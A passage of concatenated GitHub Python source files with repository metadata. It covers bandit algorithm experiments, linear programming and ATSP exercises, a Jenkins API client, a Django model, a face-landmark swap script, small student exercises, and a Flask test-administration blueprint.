in range(K)])\n                k_star = np.argmax(UCBs)\n                u = distributions[k_star]()\n                accum += u\n                gamma.rewards[i][k_star] += u\n                gamma.pulls[i][k_star] += 1\n                # It also works adding this\n                #'''\n                alpha.rewards[i][k_star] += u/n\n                alpha.pulls[i][k_star] += 1/n\n                s += 1\n                #'''\n            regret.append(regret[-1] + n*mu_1-accum)\n            t += 1\n            if t > T:\n                print('Number of pulls per arm (best means first)')\n                print(np.sum(alpha.pulls, axis=0))\n                return regret\n            beta.rewards = mixer.mix(beta.rewards)\n            beta.pulls = mixer.mix(beta.pulls)\n\n        # It also works adding this\n        '''\n        if not unaccel_mixer:\n            unaccel_mixer = UnaccelMix(P, lambda_2, C, sparse=False)\n\n        delta.rewards = unaccel_mixer.mix(delta.rewards)\n        delta.pulls = unaccel_mixer.mix(delta.pulls)\n        s += 1\n        #'''\n        s = (t-C)*n\n        if accel:\n            delta.rewards += beta.rewards\n            delta.pulls += beta.pulls\n            alpha.rewards = delta.rewards\n            alpha.pulls = delta.pulls\n            beta.rewards = gamma.rewards\n            beta.pulls = gamma.pulls\n            gamma.rewards = np.zeros((n, K))\n            gamma.pulls = np.zeros((n, K))\n        else:\n            alpha.rewards = beta.rewards\n            alpha.pulls = beta.pulls\n            beta.rewards += gamma.rewards\n            beta.pulls += gamma.pulls\n            gamma.rewards = np.zeros((n, K))\n            gamma.pulls = np.zeros((n, K))\n\n    return regret\n\n\ndef landgren_bandits(P, n, T, lambda_2, distributions, epsilon_c, gamma, variance, mu_1):\n    regret = [0]\n    lambda_2 = np.abs(lambda_2)\n    K = len(distributions)\n    first_pulls = np.array([np.array([distributions[k]() for k in range(K)]) for j in range(n)])\n    estim = RewNumPulls(n,rewards_array=first_pulls, pulls_array=np.ones((n,K)))\n    t = 1\n    accum = None\n    UCBs = None\n    mixer = UnaccelMix(P=P, lambda_2=lambda_2, C=1, sparse=True)\n    while t <= T:\n        accum = 0\n        for i in range(n):\n            k = 1\n            UCBs = np.array([estim.rewards[i][k]/estim.pulls[i][k] +\n                             np.sqrt((estim.pulls[i][k]+epsilon_c[i])*2*gamma*variance*np.log(t)/(n*(estim.pulls[i][k]**2))) for k in range(K)])\n            k_star = np.argmax(UCBs)\n            u = distributions[k_star]()\n            accum += u\n            estim.rewards[i][k_star] += u\n            estim.pulls[i][k_star] += 1\n            estim.rewards = mixer.mix(estim.rewards)\n            estim.pulls = mixer.mix(estim.pulls)\n\n        regret.append(regret[-1] + n*mu_1 -accum)\n        t += 1\n\n    print(np.sum(estim.pulls, axis=0))\n    return regret\n\n\ndef main(n, T, save = True, rerun=False, type_P='cycle', dducb_in=[], landgren_in=[], mus=[1, 0.8]):\n    print('n =',n, type_P)\n    # The code assumes A defines a graph with regular degree and the matrix P is doubly stochastic,\n    P = compute_P(n, type=type_P)\n\n    print('computing constants')\n    #'''\n    filename = './data/constants_n{}_{}'.format(n, type_P)\n    if os.path.isfile(filename):\n        f = open(filename, \"rb\")\n        epsilon_c = pickle.load(f)\n        lambda_2 = pickle.load(f)\n        f.close()\n    else:\n        epsilon_c, lambda_2 = compute_constants(P, n)\n        fileObject = open(filename,'wb')\n        pickle.dump(epsilon_c,fileObject)\n        pickle.dump(lambda_2,fileObject)\n        fileObject.close()\n    #'''\n\n    sigma = 1\n    mus = sorted(mus, key=lambda x: -x)\n    distributions = [lambda mu=mu, sigma=sigma:np.random.normal(mu, sigma) for mu in mus]\n\n    #'''\n    print('Running Landgren')\n    gamma = 2\n    landgren = []\n    for gamma in landgren_in:\n        filename = './data/landgren_n{}_t{}_{}_gamma{}_sigma{}'.format(n, T, type_P, gamma, sigma)\n        if not rerun and os.path.isfile(filename):\n             regret_landgren = read_regret(filename)\n        else:\n            regret_landgren = landgren_bandits(P, n, T, lambda_2, distributions, epsilon_c, gamma=gamma, variance=sigma*sigma, mu_1=mus[0])\n            if save:\n                fileObject = open(filename,'wb')\n                pickle.dump(regret_landgren,fileObject)\n                fileObject.close()\n        landgren.append((regret_landgren, r'coopUCB $\\gamma$={}'.format(gamma)))\n\n    dducb = []\n    #'''\n    print('Running DDUCB')\n    eta = 2\n    epsilon= 1/22\n    #epsilon= 1/7\n    for C_small, accel in dducb_in:\n        filename = './data/dducb_n{}_t{}_{}_{}{}_sigma{}'.format(n, T, type_P, 'accel' if accel else 'unaccel', '_Csmall' if C_small else '', sigma)\n        if not rerun and os.path.isfile('./{}'.format(filename)):\n            regret_dducb = read_regret(filename)\n        else:\n            regret_dducb = DDUCB(P, n, T, lambda_2, distributions, epsilon=epsilon, eta=eta, variance=sigma*sigma, mu_1=mus[0], accel=accel, C_small=C_small)\n\n        if save:\n            fileObject = open(filename,'wb')\n            pickle.dump(regret_dducb,fileObject)\n            fileObject.close()\n        dducb.append((regret_dducb, 'DDUCB\\_{}{}'.format('accel' if accel else 'unaccel', '\\_Csmall' if C_small else '')))\n    #'''\n    all = landgren + dducb\n    plot(all, n, T, type_P, sigma, K=len(distributions))\n    return all\n\ndef main_aux():\n    '''\n    This function generates data and plots of just one execution.\n    The main paper uses an average of 10 of these executions\n    '''\n    C_acc = (False, True) # (C, accel)\n    Csmall_unacc = (True, False) # (C_small, unaccel)\n    dducb_instances = [Csmall_unacc, C_acc]\n    landgren_instances = [2, 1.01, 1.0001]\n    mus = [1.0] + [0.8] * 16\n\n    main(100, 10000, save=True, rerun=False, type_P='cycle', dducb_in=dducb_instances, landgren_in=landgren_instances, mus=mus)\n    main(200, 10000, save=True, rerun=False, type_P='cycle', dducb_in=dducb_instances, landgren_in=landgren_instances, mus=mus)\n    main(100, 10000, save=True, rerun=False, type_P='grid', dducb_in=dducb_instances, landgren_in=landgren_instances, mus=mus)\n    main(225, 10000, save=True, rerun=False, type_P='grid', dducb_in=dducb_instances, landgren_in=landgren_instances, mus=mus)\n\nif __name__ == \"__main__\":\n    main_aux()\n","repo_name":"damaru2/decentralized-bandits","sub_path":"bandit algorithms executions.py","file_name":"bandit algorithms executions.py","file_ext":"py","file_size_in_byte":8093,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"}
{"seq_id":"71354074282","text":"# Question 3.4 by Hamed Rahimi\r\n\r\n#The factory RadioIn builds two types of radios A and B. \r\n#Every radio is produced by the work of three specialists Pierre, Paul and Jacques. \r\n#Pierre works at most 24 hours per week. Paul works at most 45 hours per week. \r\n#Jacques works at most 30 hours per week.\r\n#The resources necessary to build each type of radio and their selling prices as well are given in the following table:\r\n#Radio A Radio B\r\n#Pierre 1h 2h\r\n#Paul 2h 1h\r\n#Jacques 1h 3h\r\n#Selling prices 15 euros 10 euros\r\n\r\n#We assume that the company has no problem to sell its production, whichever it is.\r\n#a) Model the problem of finding a weekly production plan maximizing the revenue of RadioIn as a linear programme. \r\n#Write precisely what are the decision variables, the objective function and the constraints.\r\n#b) Solve the linear programme using the geometric method and give the optimal production plan.\r\n\r\nimport cvxpy as cp\r\n# Create two variables.\r\nA = cp.Variable()\r\nB = cp.Variable()\r\n\r\n# Create three constraints.\r\nconstraints = [A+2*B<=24, 2*A+B<=45, A+3*B<=30]\r\n\r\n# Form objective.\r\nobj = cp.Maximize(15*A+10*B)\r\n\r\n# Form and solve problem.\r\nprob = cp.Problem(obj, constraints)\r\n\r\nprob.solve() # Returns the optimal value.\r\n\r\nprint(\"The status of the problem is:\", prob.status)\r\nprint(\"optimal value of maximization is:\", prob.value)\r\nprint(\"optimal value of variable A is :\", A.value)\r\nprint(\"optimal value of variable B is :\", B.value)\r\n","repo_name":"hamedR96/Optimization-CVXPY","sub_path":"Q3.4.py","file_name":"Q3.4.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72414071402","text":"from urllib.parse import urlencode, urlparse\n\nimport httpx\nfrom typing import Any, AsyncGenerator\n\nfrom loguru import logger\n\nfrom core.utils import convert_timestamp_to_utc_dt\n\n\nclass JenkinsClient:\n    def __init__(\n            self, jenkins_base_url: str, jenkins_user: str, jenkins_password: str\n    ) -> None:\n        self.jenkins_base_url = jenkins_base_url\n        self.jenkins_user = jenkins_user\n        self.jenkins_password = jenkins_password\n\n        auth = (self.jenkins_user, self.jenkins_password)\n        self.client = httpx.AsyncClient(auth=auth)\n\n    async def get_jobs(self) -> AsyncGenerator[list[dict[str, Any]], None]:\n        per_page = 100\n        page = 0\n        logger.info(\"Getting jobs from Jenkins\")\n\n        while True:\n            # Parameters for pagination\n            params = {\n                'tree': f'jobs[name,url,description,displayName,fullDisplayName,fullName]'\n            }\n            encoded_params = urlencode(params)\n\n            job_response = await self.client.get(f\"{self.jenkins_base_url}/api/json?{encoded_params}\")\n            job_response.raise_for_status()\n            jobs = job_response.json()['jobs']\n\n            # If there are no more jobs, exit the loop\n            if not jobs:\n                break\n\n            logger.info(f\"Got {len(jobs)} jobs from Jenkins\")\n\n            transformed = [\n                {\n                    \"type\": \"item.updated\",\n                    \"data\": job,\n                    \"url\": urlparse(job.get(\"url\")).path.lstrip('/'),  # since blueprint expects path rather host\n                    \"fullUrl\": job.get(\"url\"),\n                    \"time\": job.get(\"timestamp\")\n                }\n                for job in jobs\n            ]\n\n            yield transformed\n            page += 1\n\n            if len(jobs) < per_page:\n                break\n\n    async def get_builds(self, job_name: str) -> list[dict[str, Any]]:\n        logger.info(f\"Getting builds from Jenkins for job {job_name}\")\n\n        params = {\n            'tree': f'builds[id,number,url,result,duration,timestamp,displayName,fullDisplayName]'\n        }\n        encoded_params = urlencode(params)\n\n        build_response = await self.client.get(\n            f\"{self.jenkins_base_url}/job/{job_name}/api/json?{encoded_params}\"\n        )\n        build_response.raise_for_status()\n        builds = build_response.json().get(\"builds\", [])\n        logger.info(f\"Got {len(builds)} builds from Jenkins for job {job_name}\")\n\n        transformed_builds = [\n            {\n                \"type\": \"run.finalize\",\n                \"source\": f\"job/{job_name}/\",\n                \"url\": build.get(\"url\", None),\n                \"data\": {\n                    **build,\n                    \"timestamp\": convert_timestamp_to_utc_dt(build.get(\"timestamp\"))\n                }\n            }\n            for build in builds\n        ]\n        return transformed_builds\n","repo_name":"phalbert/jenkins_cargo","sub_path":"core/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"43602350158","text":"from django.db import models\n\nTIPO_DE_PLANETA = [\n\t('Indeterminado','Indeterminado'),\n    ('Rochoso','Rochoso'),\n    ('Gasoso','Gasoso'),\n]\n\nclass planetas(models.Model):\n\tplaneta = models.CharField(max_length=30)\n\ttipo = models.CharField(max_length=13, choices=TIPO_DE_PLANETA)\n\tmassa = models.DecimalField(max_digits=5, decimal_places=2, null=True, blank=True)\n\tdata_mod = models.DateField(auto_now_add=True, blank=True)\n\n\tdef __str__(self):\n\t\treturn self.planeta\n\n\tclass Meta:\n\t\tverbose_name = 'Planeta'\n\t\tverbose_name_plural = 'Planetas'\n\t\tordering = ['planeta']\n\n","repo_name":"guilhon/andre_guilhon_site_pessoal","sub_path":"portfolio_crud/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"11649965427","text":"import pulp\r\nimport math\r\n\r\n# Abre el archivo de instancia de TSPLIB95\r\nwith open(\"br17.atsp\") as f:\r\n    lines = f.readlines()\r\n\r\n# Encuentra la línea que inicia la sección EDGE_WEIGHT_SECTION\r\nstart_index = lines.index(\"EDGE_WEIGHT_SECTION\\n\") + 1\r\n\r\n# Encuentra la línea que marca el final de la sección\r\nend_index = lines.index(\"EOF\\n\")\r\n\r\n# Extrae las líneas que contienen los valores de la matriz de costos\r\ncost_lines = lines[start_index:end_index]\r\ncost_data = \"\".join(cost_lines)\r\ncost_values = cost_data.split()\r\nnum_cities = int(math.sqrt(len(cost_values)))\r\n\r\n# Divide los valores en filas y columnas y almacénalos como una lista de listas de enteros\r\naux = 0\r\nc = []\r\nfor i in range(num_cities):\r\n    fila = []\r\n    for j in range(num_cities):\r\n        fila.append(int(cost_values[aux]))\r\n        aux += 1\r\n    c.append(fila)\r\n\r\n# Crea un problema de minimización\r\nproblem = pulp.LpProblem(\"ATSP_DFJ\", pulp.LpMinimize)\r\n\r\n# Variables binarias: x[i][j] = 1 si se va de la ciudad i a la ciudad j\r\nx = [[pulp.LpVariable(f'x_{i}_{j}', cat=pulp.LpBinary) for j in range(num_cities)] for i in range(num_cities)]\r\n\r\n# Función objetivo: minimizar la distancia total\r\nproblem += pulp.lpSum(x[i][j] * c[i][j] for i in range(num_cities) for j in range(num_cities))\r\n\r\n# Restricción 1: De cada ciudad sale exactamente una arista\r\nfor i in range(num_cities):\r\n    problem += pulp.lpSum(x[i][j] for j in range(num_cities)) == 1\r\n\r\n# Restricción 2: A cada ciudad llega exactamente una arista\r\nfor j in range(num_cities):\r\n    problem += pulp.lpSum(x[i][j] for i in range(num_cities)) == 1\r\n\r\n# Restricción 3: Evitar subciclos\r\nu = [pulp.LpVariable(f'u_{i}', lowBound=0, cat=pulp.LpInteger) for i in range(num_cities)]\r\nfor i in range(1, num_cities):\r\n    for j in range(1, num_cities):\r\n        if i != j:\r\n            problem += u[i] - u[j] + (num_cities - 1) * x[i][j] <= num_cities - 2\r\n\r\n# Resuelve el problema\r\nproblem.solve(pulp.PULP_CBC_CMD(timeLimit=1800))\r\n\r\n# Imprime la solución\r\nif pulp.LpStatus[problem.status] == \"Optimal\":\r\n    print(\"Solución óptima encontrada:\")\r\n    tour = [0]\r\n    i = 0\r\n    while True:\r\n        for j in range(num_cities):\r\n            if i != j and pulp.value(x[i][j]) == 1:\r\n                tour.append(j)\r\n                i = j\r\n                break\r\n        if i == 0:\r\n            break\r\n    print(\"Camino óptimo:\", tour)\r\n    print(\"Distancia total:\", pulp.value(problem.objective))\r\nelse:\r\n    print(\"No se encontró una solución óptima.\")\r\n","repo_name":"Kimiret/TestATSP","sub_path":"Tarea2.py","file_name":"Tarea2.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29783787878","text":"# Uses python3\n# import numpy as np\n\ndef calc_num_of_stops(tankMileage,numOfStations,stationLocs):\n    numOfRefills, currentRefill = 0, 0\n    while currentRefill < numOfStations:\n        lastRefill = currentRefill\n        while currentRefill < numOfStations and stationLocs[currentRefill + 1] - stationLocs[lastRefill] <= tankMileage:\n            currentRefill = currentRefill + 1\n        if currentRefill == lastRefill:\n            return -1\n        if currentRefill <= numOfStations:\n            numOfRefills = numOfRefills + 1\n    return numOfRefills\n\n\n# Start of Function\nmilesToDest = int(input())\ntankMileage = int(input())\nnumOfStations = int(input())\nstationLocs = [int(x) for x in input().split()]\nstationLocs.append(milesToDest)\nstationLocs.append(tankMileage+1)\nif milesToDest <= tankMileage:\n    print(0)\nelse:\n    print(calc_num_of_stops(tankMileage,numOfStations,stationLocs))\n","repo_name":"deckardmehdy/coursera","sub_path":"Course1/Week3/refuel.py","file_name":"refuel.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"11472438789","text":"import cv2\nimport dlib\nimport numpy\nimport time\n#Imege should have face upright or else it won't work\nsrc1 = input(\"Enter first image location: \") #for colelcting the source path of image with the full image name and extension written.\nsrc2 = input(\"Enter second image location: \") #for colelcting the source path of image with the full image name and extension written.\nimg1 = cv2.imread(''+src1) #example to be entered in src: \"C:\\Users\\user\\Picturesa.jpg\" or \" /home/user/Pictures/a.jpg.\" \nimg1_gs = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)  \nimg2 = cv2.imread(''+src2) #example to be entered in src: \"C:\\Users\\user\\Picturesa.jpg\" or \" /home/user/Pictures/a.jpg.\"\nimg2_gs = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\nmask = numpy.zeros_like(img1_gs)\n#.........................Input Section Over....................#\ncv2.imshow('Face 1',cv2.resize(img1, (640, 480))) #for showing and resizing the first image.\ncv2.waitKey(0) # waits for any key to be pressed.\ncv2.destroyAllWindows #closes the window in which image is displayed\n#...................First Image Displayed and Closed............#\ncv2.imshow('Face 2',cv2.resize(img2, (640, 480))) #for showing and resizing the second image. \ncv2.waitKey(0) # waits for any key to be pressed.\ncv2.destroyAllWindows #closes the window in which image is displayed\n#..................Second Image Displayed and closed\n#now some image processing will be done on these images which will be diaplayed in a third image oject.\n#After some processing and swapping done image will be displayed\nld = dlib.get_frontal_face_detector() #landmark detection\npredict = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\nim1 = ld(img1_gs)\nfor face in im1:\n    landmarks = predict(img1_gs, face)\n    points =[] #empty tupple\n    for n in range(0,68):\n        x = landmarks.part(n).x\n        y = landmarks.part(n).y\n        points.append((x, y)) \n        fp = numpy.array(points, numpy.int32)\n        ch = cv2.convexHull(fp)\n        cv2.circle(img1, center=(x, y), radius=6, color=(0, 255, 0), thickness=-1)\n#drawn circles and then going to join these\n        rectangle = cv2.boundingRect(ch)\n        divide_2d = cv2.Subdiv2D(rectangle)\n        divide_2d.insert(points)\n        triangles = divide_2d.getTriangleList()\n        split_triangle = numpy.array(triangles, dtype=numpy.int32)\n        cv2.fillConvexPoly(mask, ch, 255)\n        face_image_1 = cv2.bitwise_and(img1, img1, mask=mask)\n        face_points2 = numpy.array(points, numpy.int32)\n        ch2 = cv2.convexHull(face_points2)\n        def extract_index_nparray(nparray):\n            index = None\n            for num in nparray[0]:\n                index = num\n                break\n            return index\n        join_indexes = []\n        for edge in triangles:\n            first = (edge[0], edge[1])\n            second = (edge[2], edge[3])\n            third = (edge[4], edge[5])\n            index_edge1 = numpy.where(points == first)\n            index_edge1 = extract_index_nparray(index_edge1)\n            index_edge2 = numpy.where(points == second)\n            index_edge2 = extract_index_nparray(index_edge2)\n            index_edge3 = numpy.where(points == third)\n            index_edge3 = extract_index_nparray(index_edge3)\n            if index_edge1 is not None and index_edge2 is not None and index_edge3 is not None:\n                triangle = [index_edge1, index_edge2, index_edge3]\n                join_indexes.append(triangle)    \n        source_mask = numpy.zeros_like(img1_gs)\n        new_face = numpy.zeros_like(img2)\n        for index in triangles:\n            tri_one = points[(int)(index[0])]\n            tri_two = points[(int)(index[1])]\n            tri_three = points[(int)(index[2])]\n            triangle1 = numpy.array([tri_one, tri_two, tri_three], numpy.int32)\n            first_rect = cv2.boundingRect(triangle1)\n            (x, y, w, h) = first_rect\n            cropped_triangle = img1[y: y + h, x: x + w]\n            cropped_tr1_mask = numpy.zeros((h, w), numpy.uint8)\n            pts = numpy.array([[tri_one[0] - x, tri_one[1] - y],[tri_two[0] - x, tri_two[1] - y], [tri_three[0] - x, tri_three[1] - y]], numpy.int32)\n            cv2.fillConvexPoly(cropped_tr1_mask, pts, 255)\n            cv2.line(source_mask, tri_one, tri_two, 255)\n            cv2.line(source_mask, tri_two, tri_three, 255)\n            cv2.line(source_mask, tri_one, tri_three, 255)\n\ncv2.imshow('Test',cv2.resize(source_mask,(640,480)))\n#2nd image\nim2=ld(img2_gs)\nfor face in im2:\n    landmarks = predict(img2_gs, face)\n    points =[] #empty tupple\n    for n in range(0,68):\n        x = landmarks.part(n).x\n        y = landmarks.part(n).y\n        points.append((x, y)) \n        fp = numpy.array(points, numpy.int32)\n        ch = cv2.convexHull(fp)\n        cv2.circle(img2, center=(x, y), radius=6, color=(255, 0, 0), thickness=-1)\n#example......\ncv2.imshow('Face 1',cv2.resize(img1, (640, 480)))\ncv2.waitKey(0) \ncv2.imshow('Face 2',cv2.resize(img2, (640, 480)))\n#img_final = some processed swapped image\n# cv2.imshow(\"Desired Image\",cv2.resize(img_final,(640,480))) image displayed like the inputted one but processed.\n#afterwards The End\ncv2.waitKey(0) \ncv2.destroyAllWindows ","repo_name":"aliasad20/Face-Swap","sub_path":"face_input.py","file_name":"face_input.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"4590662826","text":"import LCM\n\ndef kat(a,b,c,d,e,f,captain):\n    m = a*c+b\n    n = d*f+e\n    isNegative = False\n\n    if captain == \"*\":\n       p = m*n\n       q = c*f\n    elif captain == \"+\":\n       q = LCM.LCM(c,f)\n       p = m*q//c+n*q//f\n    elif captain == \"/\":\n       p = m*f\n       q = c*n\n    elif captain == \"-\":\n       q = LCM.LCM(c,f)\n       p = m*q//c-n*q//f\n       if p < 0:\n          isNegative = True\n          q = -q\n\n    lcm = LCM.GCD(p,q)\n    cat = p//lcm\n    dog = q//lcm\n    hamster = cat//dog\n    rat = cat%dog\n    if isNegative:\n       print(\"-\" + str(hamster) + \" \" + str(rat) + \"/\" + str(dog))\n    else:\n       print(str(hamster) + \" \" + str(rat) + \"/\" + str(dog))\n\n\nkat(1,2,3,4,5,6,\"-\")\n","repo_name":"jenchessica/python","sub_path":"FractionArithmetic.py","file_name":"FractionArithmetic.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"35201722338","text":"from .api_request import HTTPHelper\nfrom .actors_service import ActorsService\n\n\nclass MoviesService:\n    \"\"\"\n    Class Containing Movie related functions\n    \"\"\"\n    movies_url = \"https://ghibli.rest/films\"\n    actors: list\n    movies: list\n    actors_service: None\n\n    def __init__(self):\n        \"\"\"\n        Class constructor\n        \"\"\"\n        self.actors_service = ActorsService()\n\n    def get_movies(self) -> list:\n        \"\"\"\n        Get movies through an api call\n        @return: list\n        @rtype: list\n        \"\"\"\n        self.movies = HTTPHelper.make_request(self.movies_url).json()\n        return self.movies\n\n    def get_movies_actors(self) -> list:\n        \"\"\"\n        Return movies with their actors.\n        For each movie add its related actors\n        :return: list of movies with their actors\n        @rtype: list\n        \"\"\"\n        movies = self.get_movies()\n        actors = self.actors_service.fetch_actors_data()\n        movie_actors = {}\n        for person in actors:\n            for movie in person['films']:\n                movie_id = movie.rsplit('/', 1)[-1]\n                if movie_id in movie_actors:\n                    movie_actors[movie_id].append(person)\n                else:\n                    movie_actors[movie_id] = [person]\n    \n        for movie in movies:\n            movie_id = \"films?id=\"+movie.get('id')\n            if movie_id in movie_actors:\n                movie['actors'] = movie_actors[movie_id]\n            else:\n                movie['actors'] = []\n\n            if movie.get(\"people\"):\n                del movie[\"people\"]\n\n        return movies\n","repo_name":"atulasati/ghibli-test","sub_path":"ghibli_app/movies_service.py","file_name":"movies_service.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"26657034269","text":"menu = int(input('Digite o código do prato desejado para saber mais\\n1 - Miojo\\n2 - Pão\\n3 - Suco\\n4 - Lanche\\n5 - Sopa\\n'))\n\nclass Menu():\n    def __init__(self,cod,desc):\n        self.cod = cod\n        self.desc = desc\n    def __str__(self):\n        return f\"{self.cod}({self.desc})\"\n\nmj = Menu(1,\"Macarrao Instantaneo\\nSabor Galinha Caipira\\nCom tempero Sazon\")\np = Menu(2,'Pão de Forma com:\\n1 - Presunto\\n2 - Mussarela\\n3 - Cenoura\\n4 - Alface\\n5 - Maionese')\nsu = Menu(3,'Suco Natural com sabores de:\\nAcerola\\nAbacaxi com Hortelã\\nLaranja\\nUva')\nla = Menu(4,'X-burguer contendo:\\nPão de Hot Dog\\nHamburguer\\nSalada de Alface\\nPicles\\nKetchup\\nQueijo Prato\\nBatata palha\\n')\nso = Menu(5,\"Sopa Nutritiva com:\\nPedaços de Carne Bovina\\nBatata Doce\\nMandioca\\nBatata\\nMilho\")\n        \nif menu == mj.cod:\n    print(mj.desc)\nelif menu == p.cod:\n    print(p.desc)\nelif menu == su.cod:\n    print(su.desc)\nelif menu == la.cod:\n    print(la.desc)\nelse:\n    print(so.desc)\n","repo_name":"Kkanzaki/Learning","sub_path":"Python-exercicios/ex-cardapio2.py","file_name":"ex-cardapio2.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"42104837923","text":"import datetime\nfrom flask import Blueprint, render_template, request, current_app, redirect, url_for, session\nfrom app.wrappers import login_require\nfrom app.demonstrator.forms import UploadFilesForm, TestStartForm, TestFinishForm, TestRegistrationForm\nfrom app.administrator.models import Sessions\nfrom app.demonstrator.models import Theme, Special, Test, Question, Answer\nfrom app.studentstester.models import Student\nfrom app.demonstrator.testparse import TestsRtfdom\nfrom app.database import db\n\ndemonstrator = Blueprint(\n    'demonstrator',\n    __name__,\n    url_prefix='/demonstrator/'\n)\n\n\ndef allowed_file(filename, allowed_extensions):\n    # Функция для проверки расширения файла\n    return '.' in filename and filename.rsplit('.', 1)[1].lower() in allowed_extensions\n\n\n@demonstrator.route('/', methods=['GET', 'POST'])\n@login_require\ndef index():\n    test_status = Sessions.query.get(1).test_status\n    if test_status == 1:\n        return redirect(url_for('demonstrator.upload'))\n    if test_status == 2:\n        return redirect(url_for('demonstrator.test_start'))\n    if test_status == 3:\n        return redirect(url_for('demonstrator.test_registration'))\n    if test_status == 4:\n        return redirect(url_for('demonstrator.test_process'))\n    if test_status == 5:\n        return redirect(url_for('demonstrator.test_finish'))\n\n\n@demonstrator.route('upload/', methods=['GET', 'POST'])\n@login_require\ndef upload():\n    if not request.referrer:\n        return redirect(url_for('administrator.index'))\n\n    values = {\n        'title': 'Демонстратор:загрузка',\n        'page_info': 'Выберите название тестирования и варианты тестов',\n        'login_required': True,\n        'errors': [],\n        'form': UploadFilesForm()\n    }\n\n    values['form'].theme.choices = [(i.id, i.name) for i in Theme.query.all()]\n    values['form'].special.choices = [(i.id, i.name) for i in Special.query.all()]\n\n    if values['form'].validate_on_submit():\n        variant1 = request.files['variant1']\n        variant2 = request.files['variant2']\n\n        if not variant1 or not variant2:\n            values['errors'].append(u'Не удаётся загрузить тесты, ошибка загрузки файлов')\n            return render_template('demonstrator/upload.html', values=values)\n\n        for variant in [variant1, variant2]:\n            if not allowed_file(variant.filename, current_app.config['ALLOWED_EXTENSIONS']):\n                values['errors'].append(u'Загружаемые файлы должны иметь расширение .rtf')\n                return render_template('demonstrator/upload.html', values=values)\n\n        test_theme = Theme.query.get(values['form'].theme.data)\n        test_special = Theme.query.get(values['form'].special.data)\n        test_num = values['form'].num.data\n        test_datetime = datetime.datetime.now()\n        test_version = values['form'].version.data\n\n        for variant in [variant1, variant2]:\n            try:\n                test_dom_tree = TestsRtfdom()\n                test_dom_tree.openString(variant.stream.read().decode().replace('\\r', ''))\n                test_dom_tree.parse()\n                test_dom_tree.add_to_database(test_theme, test_special, test_num, test_datetime, test_version)\n            except Exception as e:\n                if current_app.config['DEBUG']:\n                    values['errors'].append(e)\n                else:\n                    values['errors'].append(u\"Не удаётся загрузить тесты, не соответствует формат или версия\")\n\n                return render_template('demonstrator/upload.html', values=values)\n\n        sessionparams = Sessions.query.get(1)\n        sessionparams.test_status = 2\n        session['test_status'] = 2\n        db.session.commit()\n        return redirect(url_for('demonstrator.index'))\n\n    else:\n        sessionparams = Sessions.query.get(1)\n        if sessionparams.test_status != 1:\n            sessionparams.test_status = 1\n            session['test_status'] = 1\n            db.session.commit()\n            values['errors'].append('Предыдущие тесты были прерваны. Загрузите новые тесты')\n        for key in values['form'].errors:\n            values['errors'].append(values['form'].errors[key])\n        return render_template('demonstrator/upload.html', values=values)\n\n\n@demonstrator.route('test_start/', methods=['GET', 'POST'])\n@login_require\ndef test_start():\n    if not request.referrer:\n        return redirect(url_for('administrator.index'))\n\n    sessionparams = Sessions.query.get(1)\n\n    values = {\n        'title': 'Демонстратор: Старт',\n        'page_info': 'Проверьте загрузку и установите время вопроса',\n        'login_required': True,\n        'errors': [],\n        'form': TestStartForm()\n    }\n\n    if values['form'].validate_on_submit():\n        sessionparams.test_status = 3\n        sessionparams.quest_time = values['form'].quest_time.data\n        db.session.commit()\n        session['test_status'] = 3\n        session['quest_time'] = sessionparams.quest_time\n        return redirect(url_for('demonstrator.index'))\n    else:\n        variant2 = {\n            'id': db.session.query(db.func.max(Test.id)).scalar(),\n            'questions': []\n        }\n        variant1 = {\n            'id': variant2['id'] - 1,\n            'questions': []\n        }\n        for variant in [variant1, variant2]:\n            variant['variant'] = Test.query.get(variant['id']).variant\n            variant['quest_max'] = len(Test.query.get(variant['id']).questions)\n            for question in Question.query.filter_by(test_id=variant['id']).order_by('num'):\n                answers = Answer.query.filter_by(question_id=question.id).order_by('num')\n                variant['questions'].append({\n                    'name': question.name,\n                    'text': question.text,\n                    'img_path':  question.img_path,\n                    'answers': [answer.text for answer in answers],\n                    'answers_bool': [answer.value for answer in answers]\n                })\n\n        sessionparams.quest_num = 1\n        sessionparams.quest_max = max(variant1['quest_max'], variant2['quest_max'])\n        db.session.commit()\n        session['quest_num'] = 1\n        session['quest_max'] = sessionparams.quest_max\n\n        values['variant1'], values['variant2'] = variant1, variant2\n        values['quest_num'] = max(len(variant1['questions']), len(variant2['questions']))\n        values['form'].quest_time.data = session['quest_time']\n        for key in values['form'].errors:\n            values['errors'].append(values['form'].errors[key])\n\n        test_property = Test.query.get(variant2['id'])\n        values['theme'] = test_property.theme.name\n        values['special'] = test_property.special.name\n        values['num'] = test_property.num\n\n        return render_template('demonstrator/test_start.html', values=values)\n\n\n# Режим во время которого происходит регистрация студентов на тестирование\n@demonstrator.route('test_registration/', methods=['GET', 'POST'])\n@login_require\ndef test_registration():\n\n    if not request.referrer:\n        return redirect(url_for('administrator.index'))\n\n    sessionparams = Sessions.query.get(1)\n\n    values = {\n        'title': 'Демонстратор: Регистрация на 